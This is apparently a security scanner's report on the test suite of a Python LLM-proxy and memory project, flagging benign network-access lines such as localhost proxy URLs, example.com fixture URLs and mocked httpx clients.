tests/mcp/test_the_plugin_can_say_a_memory_helped.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/mcp/test_the_prose_a_user_reads_states_the_real_tool_count.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/mcp/test_the_readme_mcp_profiles_table_matches_reality.py
- Executable scriptline 1
Executable file
tests/mcp/test_the_wiki_mcp_tools_page_matches_reality.py
- Executable scriptline 1
Executable file
tests/mcp/test_tools_kinds.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/mcp/test_unknown_profile_is_refused_cleanly.py
- Executable scriptline 1
Executable file
tests/optimize/__init__.py
- Executable scriptline 1
Executable file
tests/optimize/adapters/__init__.py
- Executable scriptline 1
Executable file
tests/optimize/adapters/conftest.py
- Executable scriptline 1
Executable file - Network accessline 6
-------------------- ``test_ensure_proxy_running_returns_bool()`` calls ``ensure_proxy_running()`` which probes ``http://127.0.0.1:8765/health`` when ``cfg.proxy_enabled`` is True. - Network accessline 7
``test_ensure_proxy_running_returns_bool()`` calls ``ensure_proxy_running()` which probes ``http://127.0.0.1:8765/health`` when ``cfg.proxy_enabled`` is True. - Network accessline 8
which probes ``http://127.0.0.1:8765/health`` when ``cfg.proxy_enabled`` is True.
tests/optimize/adapters/test_adapters.py
- Executable scriptline 1
Executable file - Network accessline 261
assert settings_path.exists() data = json.loads(settings_path.read_text(encoding="utf-8")) assert data["env"]["ANTHROPIC_BASE_URL"] == "http://127.0.0.1:8765" - Network accessline 262
data = json.loads(settings_path.read_text(encoding="utf-8")) assert data["env"]["ANTHROPIC_BASE_URL"] == "http://127.0.0.1:8765" finally: - Network accessline 263
assert data["env"]["ANTHROPIC_BASE_URL"] == "http://127.0.0.1:8765" - Network accessline 295
assert rc == 0 data = json.loads(settings_path.read_text(encoding="utf-8")) assert data["cline.openAiApiBase"] == "http://127.0.0.1:8765/v1" - Network accessline 296
data = json.loads(settings_path.read_text(encoding="utf-8")) assert data["cline.openAiApiBase"] == "http://127.0.0.1:8765/v1" finally: - Network accessline 297
assert data["cline.openAiApiBase"] == "http://127.0.0.1:8765/v1" - Network accessline 315
data = json.loads(settings_path.read_text(encoding="utf-8")) assert data["editor.fontSize"] == 14 assert data["cline.openAiApiBase"] == "http://127.0.0.1:8765/v1" - Network accessline 316
assert data["editor.fontSize"] == 14 assert data["cline.openAiApiBase"] == "http://127.0.0.1:8765/v1" finally: - Network accessline 317
assert data["cline.openAiApiBase"] == "http://127.0.0.1:8765/v1" - Network accessline 414
assert rc == 0 data = json.loads(settings_path.read_text(encoding="utf-8")) assert data["env"]["ANTHROPIC_BASE_URL"] == "http://127.0.0.1:8765" - Network accessline 415
data = json.loads(settings_path.read_text(encoding="utf-8")) assert data["env"]["ANTHROPIC_BASE_URL"] == "http://127.0.0.1:8765" finally: - Network accessline 416
assert data["env"]["ANTHROPIC_BASE_URL"] == "http://127.0.0.1:8765"
tests/optimize/adapters/test_wrap.py
- Executable scriptline 1
Executable file - Network accessline 273
"config_path": str(settings_path), "config_key": "cline.testKey", "config_value": "http://127.0.0.1:8765", - Network accessline 274
"config_key": "cline.testKey", "config_value": "http://127.0.0.1:8765", "protocol": "openai", - Network accessline 275
"config_value": "http://127.0.0.1:8765", - Network accessline 535
"config_path": str(settings_path), "config_key": "cline.testKey", "config_value": "http://127.0.0.1:8765", - Network accessline 536
"config_key": "cline.testKey", "config_value": "http://127.0.0.1:8765", "protocol": "openai", - Network accessline 537
"config_value": "http://127.0.0.1:8765",
tests/optimize/cache/__init__.py
- Executable scriptline 1
Executable file
tests/optimize/cache/test_agreeing_outcomes_fit_the_boundary.py
- Executable scriptline 1
Executable file
tests/optimize/cache/test_boundary_cache_cap.py
- Executable scriptline 1
Executable file
tests/optimize/cache/test_boundary_fit_never_corrupts_memory.py
- Executable scriptline 1
Executable file
tests/optimize/cache/test_boundary_store.py
tests/optimize/cache/test_centroid_store.py
- Executable scriptline 1
Executable file
tests/optimize/cache/test_context_key.py
- Executable scriptline 1
Executable file
tests/optimize/cache/test_exact.py
- Executable scriptline 1
Executable file
tests/optimize/cache/test_explore_draw_is_install_keyed.py
- Executable scriptline 1
Executable file
tests/optimize/cache/test_invalidation.py
- Executable scriptline 1
Executable file
tests/optimize/cache/test_key_builder.py
- Executable scriptline 1
Executable file
tests/optimize/cache/test_manager.py
- Executable scriptline 1
Executable file
tests/optimize/cache/test_semantic.py
- Executable scriptline 1
Executable file
tests/optimize/cache/test_stampede.py
- Executable scriptline 1
Executable file
tests/optimize/cache/test_vertex_key_isolation.py
- Executable scriptline 1
Executable file
tests/optimize/compress/test_align.py
- Executable scriptline 1
Executable file
tests/optimize/compress/test_ccr.py
- Executable scriptline 1
Executable file
tests/optimize/compress/test_ccr_proxy_correctness.py
tests/optimize/compress/test_init.py
- Executable scriptline 1
Executable file
tests/optimize/compress/test_json_minify.py
- Executable scriptline 1
Executable file
tests/optimize/compress/test_prose_llmlingua.py
tests/optimize/compress/test_router.py
- Executable scriptline 1
Executable file - Network accessline 878
"content": [ {"type": "text", "text": "old"}, {"type": "image_url", "image_url": {"url": "http://example.com/img.png"}}, - Network accessline 879
{"type": "text", "text": "old"}, {"type": "image_url", "image_url": {"url": "http://example.com/img.png"}}, ], - Network accessline 880
{"type": "image_url", "image_url": {"url": "http://example.com/img.png"}}, - Network accessline 1132
"content": [ {"type": "text", "text": large_text}, {"type": "image_url", "image_url": {"url": "http://example.com/img.png"}}, - Network accessline 1133
{"type": "text", "text": large_text}, {"type": "image_url", "image_url": {"url": "http://example.com/img.png"}}, ], - Network accessline 1134
{"type": "image_url", "image_url": {"url": "http://example.com/img.png"}}, - Network accessline 1146
{"role": "assistant", "content": [ {"type": "text", "text": large_text}, {"type": "image_url", "image_url": {"url": "http://example.com/img.png"}}, - Network accessline 1147
{"type": "text", "text": large_text}, {"type": "image_url", "image_url": {"url": "http://example.com/img.png"}}, ]}, - Network accessline 1148
{"type": "image_url", "image_url": {"url": "http://example.com/img.png"}},
tests/optimize/compress/test_router_helpers.py
- Executable scriptline 1
Executable file - Network accessline 46
def test_tool_result_text_mixed() -> None: block = {"content": [{"type": "image_url", "url": "http://x"}, {"type": "text", "text": "hi"}]} - Network accessline 47
block = {"content": [{"type": "image_url", "url": "http://x"}, {"type": "text", "text": "hi"}]}
tests/optimize/config/__init__.py
- Executable scriptline 1
Executable file
tests/optimize/config/test_accessor.py
- Executable scriptline 1
Executable file
tests/optimize/config/test_schema.py
- Executable scriptline 1
Executable file
tests/optimize/config/test_store.py
- Executable scriptline 1
Executable file
tests/optimize/conftest.py
tests/optimize/metrics/__init__.py
- Executable scriptline 1
Executable file
tests/optimize/metrics/test_counters.py
- Executable scriptline 1
Executable file
tests/optimize/metrics/test_estimator.py
- Executable scriptline 1
Executable file
tests/optimize/metrics/test_exporters.py
- Executable scriptline 1
Executable file
tests/optimize/metrics/test_persistence.py
- Executable scriptline 1
Executable file
tests/optimize/metrics/test_routes.py
- Executable scriptline 1
Executable file
tests/optimize/proxy/__init__.py
- Executable scriptline 1
Executable file
tests/optimize/proxy/conftest.py
- Executable scriptline 1
Executable file - Network accessline 5
Port-isolation guard -------------------- ``ensure_proxy_running()`` in lifecycle.py probes ``http://127.0.0.1:8765/health`` - Network accessline 6
-------------------- ``ensure_proxy_running()`` in lifecycle.py probes ``http://127.0.0.1:8765/health`` when ``cfg.proxy_enabled`` is True. If a live SLM daemon is running on port 8765 - Network accessline 7
``ensure_proxy_running()`` in lifecycle.py probes ``http://127.0.0.1:8765/health``
tests/optimize/proxy/test_anthropic_surface.py
- Executable scriptline 1
Executable file - Network accessline 64
async def handle_async_request(self, request: httpx.Request) -> httpx.Response: self.requests.append(request) - Network accessline 65
self.requests.append(request) - Network accessline 71
proxy = ProxyApp(config=config) proxy.hooks = hooks proxy.http_client = httpx.AsyncClient(transport=transport) - Network accessline 72
proxy.hooks = hooks proxy.http_client = httpx.AsyncClient(transport=transport) router = build_proxy_router(proxy) - Network accessline 73
proxy.http_client = httpx.AsyncClient(transport=transport) - Network accessline 80
def _default_handler(): async def _handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json=_sample_resp()) - Network accessline 81
async def _handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json=_sample_resp()) return _handler - Network accessline 82
return httpx.Response(200, json=_sample_resp()) - Network accessline 103
async with httpx.AsyncClient( - Network accessline 104
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 129
async def _handler(request: httpx.Request) -> httpx.Response: return httpx.Response(401, json={"type": "error", "error": {"type": "authentication_error"}}) - Network accessline 130
return httpx.Response(401, json={"type": "error", "error": {"type": "authentication_error"}}) - Network accessline 133
proxy = ProxyApp(config=config) proxy.hooks = HookChain(cache=TrackingCacheHook(), compress=None) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 134
proxy.hooks = HookChain(cache=TrackingCacheHook(), compress=None) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) app = FastAPI() - Network accessline 135
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 139
async with httpx.AsyncClient( - Network accessline 140
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 168
async with httpx.AsyncClient( - Network accessline 169
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 198
async with httpx.AsyncClient( - Network accessline 199
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 224
async def _handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json=models_resp) - Network accessline 225
return httpx.Response(200, json=models_resp) - Network accessline 228
proxy = ProxyApp(config=config) proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 229
proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) app = FastAPI() - Network accessline 230
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 234
async with httpx.AsyncClient( - Network accessline 235
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 254
async with httpx.AsyncClient( - Network accessline 255
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 277
async def _handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json=upstream_body) - Network accessline 278
return httpx.Response(200, json=upstream_body) - Network accessline 280
config = _make_config() app, proxy, _t = _make_app(config, HookChain.empty()) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 282
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 284
async with httpx.AsyncClient( - Network accessline 285
transport=httpx.ASGITransport(app=app), base_url="http://test"
tests/optimize/proxy/test_anthropic_surface_gaps.py
- Executable scriptline 1
Executable file - Network accessline 188
async with httpx.AsyncClient( - Network accessline 189
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 238
async with httpx.AsyncClient( - Network accessline 239
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 256
async def _handler(request: httpx.Request) -> httpx.Response: return httpx.Response( - Network accessline 257
return httpx.Response( - Network accessline 274
proxy = ProxyApp(config=config) proxy.hooks = HookChain(cache=_GarbageCacheHit(), compress=None) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 275
proxy.hooks = HookChain(cache=_GarbageCacheHit(), compress=None) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) app = FastAPI() - Network accessline 276
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 280
async with httpx.AsyncClient( - Network accessline 281
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 303
async def _handler(request: httpx.Request) -> httpx.Response: captured_body.append(request.content) return httpx.Response( - Network accessline 304
captured_body.append(request.content) return httpx.Response( 200, headers={"content-type": "text/event-stream"}, content=b"data: ok\n\n" - Network accessline 305
return httpx.Response( - Network accessline 321
proxy = ProxyApp(config=config) proxy.hooks = HookChain(cache=None, compress=_CompressHook()) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 322
proxy.hooks = HookChain(cache=None, compress=_CompressHook()) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) app = FastAPI() - Network accessline 323
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 327
async with httpx.AsyncClient( - Network accessline 328
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 380
async def _handler(request: httpx.Request) -> httpx.Response: return httpx.Response( - Network accessline 381
return httpx.Response( - Network accessline 388
proxy = ProxyApp(config=config) proxy.hooks = HookChain(cache=_TrackingCacheHook(), compress=None) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 389
proxy.hooks = HookChain(cache=_TrackingCacheHook(), compress=None) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) app = FastAPI() - Network accessline 390
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 394
async with httpx.AsyncClient( - Network accessline 395
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 435
async def _handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json={ - Network accessline 436
return httpx.Response(200, json={ - Network accessline 444
proxy = ProxyApp(config=config) proxy.hooks = HookChain(cache=_StoringCacheHook(), compress=None) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 445
proxy.hooks = HookChain(cache=_StoringCacheHook(), compress=None) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) app = FastAPI() - Network accessline 446
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 450
async with httpx.AsyncClient( - Network accessline 451
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 472
async def _handler(request: httpx.Request) -> httpx.Response: captured_body.append(request.content) return httpx.Response(200, json={ - Network accessline 473
captured_body.append(request.content) return httpx.Response(200, json={ "id": "msg_01", "type": "message", "role": "assistant", - Network accessline 474
return httpx.Response(200, json={ - Network accessline 493
proxy = ProxyApp(config=config) proxy.hooks = HookChain(cache=None, compress=_CompressHook()) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 494
proxy.hooks = HookChain(cache=None, compress=_CompressHook()) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) app = FastAPI() - Network accessline 495
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 499
async with httpx.AsyncClient( - Network accessline 500
transport=httpx.ASGITransport(app=app), base_url="http://test"
tests/optimize/proxy/test_anthropic_surface_more.py
- Executable scriptline 1
Executable file - Network accessline 35
async def handler(request): return httpx.Response(200, json={"input_tokens": 42}) - Network accessline 36
return httpx.Response(200, json={"input_tokens": 42}) - Network accessline 38
proxy = ProxyApp(config=config) proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 39
proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) app = FastAPI() - Network accessline 40
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 44
async with httpx.AsyncClient( - Network accessline 45
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 63
async def handler(request): return httpx.Response(200, json={"input_tokens": 0}) - Network accessline 64
return httpx.Response(200, json={"input_tokens": 0}) - Network accessline 66
proxy = ProxyApp(config=config) proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 67
proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) app = FastAPI() - Network accessline 68
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 72
async with httpx.AsyncClient( - Network accessline 73
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 92
async def handler(request): return httpx.Response(200, json={"id": "msg_ok", "type": "message"}) - Network accessline 93
return httpx.Response(200, json={"id": "msg_ok", "type": "message"}) - Network accessline 95
proxy = ProxyApp(config=config) proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 96
proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) app = FastAPI() - Network accessline 97
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 101
async with httpx.AsyncClient( - Network accessline 102
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 119
async def handler(request): upstream_calls.append(1) return httpx.Response(200, json={}) - Network accessline 121
return httpx.Response(200, json={}) - Network accessline 124
proxy = ProxyApp(config=config) proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 125
proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) app = FastAPI() - Network accessline 126
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 132
async with httpx.AsyncClient( - Network accessline 133
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 168
async with httpx.AsyncClient( - Network accessline 169
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 185
async def handler(request): return httpx.Response(200, json={"id": "ok", "type": "message"}) - Network accessline 186
return httpx.Response(200, json={"id": "ok", "type": "message"}) - Network accessline 188
proxy = ProxyApp(config=config) proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 189
proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) app = FastAPI() - Network accessline 190
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 194
async with httpx.AsyncClient( - Network accessline 195
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 218
big = b"x" * (11 * 1024 * 1024) async with httpx.AsyncClient( - Network accessline 219
async with httpx.AsyncClient( - Network accessline 220
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 247
async def _handler(request): return httpx.Response(400, json={"type": "error", "error": {"type": "invalid_request_error"}}) - Network accessline 248
return httpx.Response(400, json={"type": "error", "error": {"type": "invalid_request_error"}}) - Network accessline 251
proxy = ProxyApp(config=config) proxy.hooks = HookChain(cache=_Hook(), compress=None) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 252
proxy.hooks = HookChain(cache=_Hook(), compress=None) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) app = FastAPI() - Network accessline 253
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 257
async with httpx.AsyncClient( - Network accessline 258
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 277
async with httpx.AsyncClient( - Network accessline 278
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 300
async with httpx.AsyncClient( - Network accessline 301
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 322
async with httpx.AsyncClient( - Network accessline 323
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 343
async def _handler(request): return httpx.Response(200, json={"id": "ok", "type": "message"}) - Network accessline 344
return httpx.Response(200, json={"id": "ok", "type": "message"}) - Network accessline 358
proxy = ProxyApp(config=config) proxy.hooks = HookChain(cache=_Hook(), compress=compress_hook) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 359
proxy.hooks = HookChain(cache=_Hook(), compress=compress_hook) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) app = FastAPI() - Network accessline 360
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 364
async with httpx.AsyncClient( - Network accessline 365
transport=httpx.ASGITransport(app=app), base_url="http://test"
tests/optimize/proxy/test_capture.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 680
async def handle_async_request(self, request: httpx.Request) -> httpx.Response: self.requests.append(request) - Network accessline 681
self.requests.append(request) - Network accessline 690
proxy = ProxyApp(config=cfg) proxy.hooks = HookChain.empty() # capture mode = empty hooks proxy.http_client = httpx.AsyncClient(transport=transport) - Network accessline 691
proxy.hooks = HookChain.empty() # capture mode = empty hooks proxy.http_client = httpx.AsyncClient(transport=transport) app = FastAPI() - Network accessline 692
proxy.http_client = httpx.AsyncClient(transport=transport) - Network accessline 718
async def _handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json=anthropic_resp) - Network accessline 719
return httpx.Response(200, json=anthropic_resp) - Network accessline 721
app, proxy = _make_app(_MockTransport(_handler)) async with httpx.AsyncClient( - Network accessline 722
async with httpx.AsyncClient( - Network accessline 723
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 758
async def _handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json=openai_resp) - Network accessline 759
return httpx.Response(200, json=openai_resp) - Network accessline 761
app, proxy = _make_app(_MockTransport(_handler)) async with httpx.AsyncClient( - Network accessline 762
async with httpx.AsyncClient( - Network accessline 763
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 789
async def _handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json=gemini_resp) - Network accessline 790
return httpx.Response(200, json=gemini_resp) - Network accessline 792
app, proxy = _make_app(_MockTransport(_handler)) async with httpx.AsyncClient( - Network accessline 793
async with httpx.AsyncClient( - Network accessline 794
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 814
async def _handler(request: httpx.Request) -> httpx.Response: raise httpx.ConnectError("upstream down", request=request) - Network accessline 815
raise httpx.ConnectError("upstream down", request=request) - Network accessline 817
app, proxy = _make_app(_MockTransport(_handler)) async with httpx.AsyncClient( - Network accessline 818
async with httpx.AsyncClient( - Network accessline 819
transport=httpx.ASGITransport(app=app), base_url="http://test"
tests/optimize/proxy/test_gemini_surface.py
- Executable scriptline 1
Executable file - Network accessline 45
async def _handler(request): return httpx.Response(200, json={"candidates": []}) - Network accessline 46
return httpx.Response(200, json={"candidates": []}) - Network accessline 48
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 52
async with httpx.AsyncClient( - Network accessline 53
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 83
async def _handler(request): return httpx.Response(200, json={"candidates": [{"content": {}}]}) - Network accessline 84
return httpx.Response(200, json={"candidates": [{"content": {}}]}) - Network accessline 86
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 90
async with httpx.AsyncClient( - Network accessline 91
transport=httpx.ASGITransport(app=app), base_url="http://test"
tests/optimize/proxy/test_gemini_surface_gaps.py
- Executable scriptline 1
Executable file - Network accessline 225
async def _handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json={"candidates": [], "usageMetadata": {}}) - Network accessline 226
return httpx.Response(200, json={"candidates": [], "usageMetadata": {}}) - Network accessline 229
proxy = ProxyApp(config=config) proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 230
proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) app = FastAPI() - Network accessline 231
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 235
async with httpx.AsyncClient( - Network accessline 236
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 282
async with httpx.AsyncClient( - Network accessline 283
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 298
async def _handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, headers={"content-type": "text/event-stream"}, - Network accessline 299
return httpx.Response(200, headers={"content-type": "text/event-stream"}, - Network accessline 310
proxy = ProxyApp(config=config) proxy.hooks = HookChain(cache=_GarbageHit(), compress=None) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 311
proxy.hooks = HookChain(cache=_GarbageHit(), compress=None) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) app = FastAPI() - Network accessline 312
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 316
async with httpx.AsyncClient( - Network accessline 317
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 337
async def _handler(request: httpx.Request) -> httpx.Response: captured_body.append(request.content) return httpx.Response( - Network accessline 338
captured_body.append(request.content) return httpx.Response( 200, headers={"content-type": "text/event-stream"}, content=b"data: ok\n\n" - Network accessline 339
return httpx.Response( - Network accessline 355
proxy = ProxyApp(config=config) proxy.hooks = HookChain(cache=None, compress=_CompressHook()) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 356
proxy.hooks = HookChain(cache=None, compress=_CompressHook()) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) app = FastAPI() - Network accessline 357
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 361
async with httpx.AsyncClient( - Network accessline 362
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 395
async def _handler(request: httpx.Request) -> httpx.Response: return httpx.Response( - Network accessline 396
return httpx.Response( - Network accessline 401
proxy = ProxyApp(config=config) proxy.hooks = HookChain(cache=_TrackingHook(), compress=None) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 402
proxy.hooks = HookChain(cache=_TrackingHook(), compress=None) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) app = FastAPI() - Network accessline 403
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 407
async with httpx.AsyncClient( - Network accessline 408
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 440
async with httpx.AsyncClient( - Network accessline 441
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 461
async def _handler(request: httpx.Request) -> httpx.Response: captured_body.append(request.content) return httpx.Response(200, json={"candidates": []}) - Network accessline 463
return httpx.Response(200, json={"candidates": []}) - Network accessline 477
proxy = ProxyApp(config=config) proxy.hooks = HookChain(cache=None, compress=_CompressHook()) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 478
proxy.hooks = HookChain(cache=None, compress=_CompressHook()) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) app = FastAPI() - Network accessline 479
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 483
async with httpx.AsyncClient( - Network accessline 484
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 512
async def _handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json={"candidates": [ - Network accessline 513
return httpx.Response(200, json={"candidates": [ - Network accessline 519
proxy = ProxyApp(config=config) proxy.hooks = HookChain(cache=_StoreHook(), compress=None) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 520
proxy.hooks = HookChain(cache=_StoreHook(), compress=None) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) app = FastAPI() - Network accessline 521
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 525
async with httpx.AsyncClient( - Network accessline 526
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 546
async def _handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json={"choices": []}) - Network accessline 547
return httpx.Response(200, json={"choices": []}) - Network accessline 550
proxy = ProxyApp(config=config) proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 551
proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) app = FastAPI() - Network accessline 552
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 556
async with httpx.AsyncClient( - Network accessline 557
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 592
async with httpx.AsyncClient( - Network accessline 593
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 614
async def _handler(request: httpx.Request) -> httpx.Response: captured_body.append(request.content) return httpx.Response(200, json={"choices": []}) - Network accessline 616
return httpx.Response(200, json={"choices": []}) - Network accessline 630
